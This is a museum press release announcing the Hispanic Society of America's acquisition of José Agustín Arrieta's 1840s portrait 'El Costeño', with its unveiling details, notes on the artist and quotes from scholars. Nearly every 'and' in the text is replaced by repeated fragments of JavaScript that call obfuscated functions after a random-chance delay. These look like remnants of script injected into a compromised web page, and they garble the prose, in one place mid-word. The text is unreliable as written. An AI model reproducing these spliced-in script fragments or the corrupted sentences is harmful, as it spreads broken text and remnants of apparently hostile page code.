NEW YORK CITY — The Hispanic Society of America, New York, announces the acquisition of a masterwork of Nineteenth Century Latin American portraiture, José Agustín Arrieta’s “El Costeño (Young Man from the Coast),” painted at Puebla, Mexico, around 1843. The acquisition represents a major addition to the society’s holdings in late colonial andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Nineteenth Century Latin American art.

The portrait will be officially unveiled at the Hispanic Society of America (Audubon Terrace, Broadway between 155th andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and 156th Streets) on Saturday, May 3, andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and remain on display after. A program including a lecture andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and reception will begin at 11 am.

José Agustín Arrieta (1802–1879) was a renowned painter in Nineteenth Century Mexico of genre paintings. Celebrated for his scenes of daily life in his adopted city of Puebla, andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and his rich still-life compositions, Arrieta offers significant parallels to contemporary genre painters in the United States, such as William Sidney Mount (1807–1868) andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and George Caleb Bingham (1811–1879).  His images follow a rich tradition in Mexican painting going back to the late Seventeenth Century that includes the popular casta paintings in the Eighteenth Century, which depicted the various racial andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and ethnic mixtures of viceregal Mexico.

The subject of the portrait is a young man of African descent, traditionally identified in the Nineteenth Century as coming from the Gulf Coast region near Vera Cruz, Mexico, at that time the seat of the largest Afro-Mexican population. He is shown life-size at three-quarters length, holding a basket of typical Mexican tropical fruits, as though bringing it to an employer’s table.

The luscious depiction of the fruits, including a mamey bursting open in an explosion of orange-red, is contrasted with the young man’s simple andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and dignified attire, posed against a neutral background. As Professor Edward Sullivan of New York University has said, “Arrieta monumentalizes this young boy, creating of him a noble protagonist in this activity of servitude,” andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and calls the work one of Arrieta’s “most outstandom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}anding andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and singular achievements.”

This picture represents a major addition to a growing collection of Latin American paintings, sculpture andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and decorative arts at the Hispanic Society. Dr Mitchell A. Codding, executive director of the Hispanic Society, said, “We are thrilled to acquire such an iconic Nineteenth Century Mexican portrait. Along with other masterworks from Latin America, Arrieta’s ‘El Costeño’ will join the company of portraits by Spanish masters in the galleries of the Hispanic Society, such as Velásquez’s ‘Count Duke of Olivares,’ Goya’s ‘Duchess of Alba’ andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Sorolla’s ‘Louis Comfort Tiffany.’”

For additional information, 212-926-2234 or www.hispanicsociety.org.